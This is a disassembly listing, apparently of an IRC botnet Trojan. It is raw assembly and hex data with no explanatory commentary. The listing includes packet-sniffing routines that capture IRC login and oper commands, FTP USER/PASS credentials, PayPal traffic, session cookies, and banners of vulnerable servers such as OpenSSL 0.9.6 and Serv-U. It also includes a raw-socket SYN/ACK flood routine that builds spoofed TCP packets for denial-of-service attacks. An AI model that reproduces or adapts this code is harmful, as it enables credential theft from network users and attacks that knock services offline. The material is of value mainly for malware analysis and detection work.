81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AF2815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF4015FFh dd 0BB004Ch, 6A000002h, 0EFAFE808h, 0FF900224h, 4CAF2815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF4015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434EBCh, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46F40845h, 106A0043h, 0AE7815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF7015FFh, 0C4F6004Ch, 6A7B7480h, 7815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 7815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAF2815h, 0B84D8D00h dd 50513C6Ah, 0AF4015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4EA46850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAF28h, 6AB84D8Dh dd 0FF50513Ch, 4CAF4015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E9068h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434E2408h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h dd 22BE02Ch db 90h byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AFA415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFE415h, 36A5600h, 4589026Ah dd 2415FFE8h, 8B004CB0h, 0FFFF83F8h, 75FC7D89h, 3815FF5Dh dd 50004CAFh, 0FD4C858Dh, 2C68FFFFh, 50004358h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h, 234C0h dd 0ECB88900h, 8D0043DEh, 5750E445h, 0AFD015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF3815h, 858D5000h, 0FFFFFD4Ch, 43580068h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 3C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0DED2E856h dd 5690022Bh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF5015h, 0FFF88300h, 15FF6475h, 4CAF38h, 4C858D50h dd 68FFFFFDh, 4357D0h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B03C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 2BDE4FE8h, 0BB539002h, 434EE8h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAFBCh, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 0C468FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 57B468FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AED415FFh, 0B70F004Ch, 75FF50C0h, 3015FFF4h, 50004CB0h dd 8B7F048Dh, 4EFCC504h, 34FF0043h, 434ED885h, 4C858D00h dd 68FFFFFDh, 435780h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 3815FFFFh, 50004CAFh dd 43575468h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB03C15h dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22BDCB0h db 90h ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDD10, eax mov eax, offset dword_4CDD10 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAFB8 lea eax, [ebp+var_3B8] push eax call dword_4CB028 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFD0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF38 push eax lea eax, [ebp+var_2B8] push offset unk_435B00 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF50 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF38 push eax lea eax, [ebp+var_2B8] push offset unk_435AD0 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAFBC cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A9C jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A68 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A34 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359FC loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359C4 jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 226DC0Bh dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5B2C68FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAF14 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB048 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF84 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAFA4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAFA4 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAFA4 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAFA4 push 12345678h mov [ebp+var_14], ax call dword_4CAFA0 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAFA4 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 2770B1Eh lea eax, [ebp+var_1C] push eax nop call near ptr 27707BAh push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAFA4 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAFA4 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAFA0 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAFA4 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CB008 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27707BAh mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF38 push eax lea eax, [ebp+var_F4] push offset dword_435B54 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB03C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAEFC 